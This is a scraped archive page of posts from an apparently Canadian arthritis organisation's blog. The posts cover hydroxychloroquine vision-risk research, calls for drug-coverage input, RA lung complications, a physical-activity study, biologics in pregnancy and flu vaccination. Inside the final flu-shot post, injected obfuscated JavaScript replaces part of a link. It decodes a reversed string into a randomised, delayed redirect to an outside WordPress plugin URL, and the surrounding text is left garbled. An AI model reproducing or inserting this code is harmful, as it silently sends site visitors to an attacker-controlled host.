All posts related to "rheumatoid arthritis"

Arthritis Research Canada needs your help to inform their research!

The study will be on the risk of damage to vision related to taking hydroxychloroquine (HCQ) or chloroquine (CQ) in Canadians living with lupus and rheumatoid arthritis.

The research team at Arthritis Research Canada and the University of British Columbia want to do research to:

  • Accurately determine the risk of damage to vision related to taking HCQ or CQ in Canadians living with systemic lupus erythematosus (SLE) and rheumatoid arthritis (RA)
  • Provide annual vision testing to approximately 3,000 patients with SLE or RA who have been taking HCQ or CQ for more than 5 years

The research team will use a state-of-the-art vision testing method that can detect any signs of damage to vision at an earlier stage before the damage is irreversible. The researchers need your help in designing this research project. They want your opinion about the best way to invite patients to participate in this study:

  • Option 1
    The research team will send a letter to the patients who have SLE or RA and have been taking HCQ or CQ for more than 5 years. The letter will ask the patient to ask their doctor (family doctor or rheumatologist) to send a referral to see an ophthalmologist for the vision tests.
  • Option 2
    The research team contacts the family doctor or rheumatologist directly and requests that the doctor tells their patients with SLE and RA about the study and sends a referral to the ophthalmologist.

Click on this survey link to select your preferred option.

More information about damage to vision related to taking HCQ and CQ
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Stickman with megaphone calling for patient inputBC PharmaCare is looking for your input on guselkumab (Tremfya™) for the treatment of plaque psoriasis and biosimilar infliximab (Renflexis™) for the treatment of ankylosing spondylitis, adult or pediatric Crohn’s disease, plaque psoriasis, psoriatic arthritis, rheumatoid arthritis, and adult or pediatric ulcerative colitis

Guselkumab (Tremfya™) and biosimilar infliximab (Renflexis™) is now being considered for coverage under the British Columbia Ministry of Health’s PharmaCare program. By filling out a questionnaire on a website called Your Voice, you can provide your input on: Continue reading

People with rheumatoid arthritis may develop lung problems

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  • bronchiectasis (damage to the airways)
  • bronchiolitis obliterates (inflammation in small bronchial tubes)
  • pleural effusion (a buildup of fluid between the lung and chest wall)
  • pleurisy (fluid outside of the lung)
  • pulmonary fibrosis (scarring)
  • pulmonary hypertension (high blood pressure in the lungs)
  • pulmonary nodules (small growths in the lungs)

In some cases, RA can even affect the vocal cords, causing hoarseness or shortness of breath. Here are some tips from Everyday Health that may help you maintain your lung health, while living with RA: Continue reading

Do you have Rheumatoid Arthritis or Lupus? Join the OPAM-IA study!

Participate in a new study that will use wearable activity trackers, paired with a new web application, and physical activity counselling to help you get more active!

Rheumatoid arthritis (RA) and systemic lupus erythematosus (SLE) are types of inflammatory arthritis that causes inflammation and> deformity of the joints, and affects your immune system. Physical activity can help to decrease pain and disability in joints affected by RA and SLE while benefiting your overall health.

woman with rheumatoid arthritis looking at physical activity trackerIf you are a person living with RA or SLE, and are interested in getting more active, we invite YOU to participate in the OPAM-IA study. Through participating in the OPAM-IA study, you will learn how to get active with RA or SLE. You will be asked to attend an education session in Metro Vancouver, use a Fitbit Flex activity tracker with the new web application, and receive counselling from a registered physiotherapist. The total time commitment for the study is 6 months. Enrol now to start in January 2018!

If you are interested, please fill out a 2-minute screening questionnaire.All responses will remain confidential, and you will be contacted by a research staff member within 48 hours to discuss your eligibility further.

Survey Link: http://open.arthritisresearch.ca/survey/index.php?r=survey/index/sid/455398/lang/en.

For more information, contact Halima Elmi, study coordinator at 604-207-4053 or 1-844-707-4053 (toll free), or via email at opam.activity@arthritisresearch.ca.

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Biologic Use During Pregnancy May Not Increase Infection Risks in Infants

ACE has carefully monitored the research on biologic use during pregnancy in response to the many ACE members who are thinking of starting a family and have concerns about continuing their medications.

We have previously reported on the study by Dr. Mary De Vera, Assistant Professor at the University of British Columbia’s Faculty of Pharmaceutical Sciences, and her team on “Patterns of medication use before, during, and after pregnancy among women with systemic lupus erythematosus: A population-based study”.

picture of pregnant womanDr. De Vera’s team assessed the use of medications in pregnant women with lupus in British Columbia. Most pregnancy trimesters in the study were exposed to hydroxychloroquine and/or chloroquine (41 to 45% of exposed pregnancy trimesters). The research observed an increase in glucocorticosteroid (like prednisone) exposures during pregnancy, as well as post-delivery. Findings emphasized the importance of counseling women regarding childbearing decisions as well as the need for evaluation of the risk-benefit profiles of medications in pregnancy.
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Had your flu shot yet?

picture of woman getting a flu shotThe latest flu season facts and autoimmune arthritis – A “must” readIf you have not had your flu shot yet, read this “hot off the press” news from the American College of Rheumatology Annual Scientific Meeting presented yesterday in San Diego, California:$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andomized-clinical-trial/” target=”_blank” rel=”noopener”>Temporary Methotrexate Discontinuation for 2 Weeks Improves Immunogenicity of Seasonal Influenza Vaccination in Patients with Rheumatoid Arthritis: A Randomized Clinical Trial.People with rheumatoid arthritis who stop taking methotrexate treatment for just two weeks after they have a seasonal flu shot can improve the vaccine’s efficacy without increasing rheumatoid arthritis disease activity.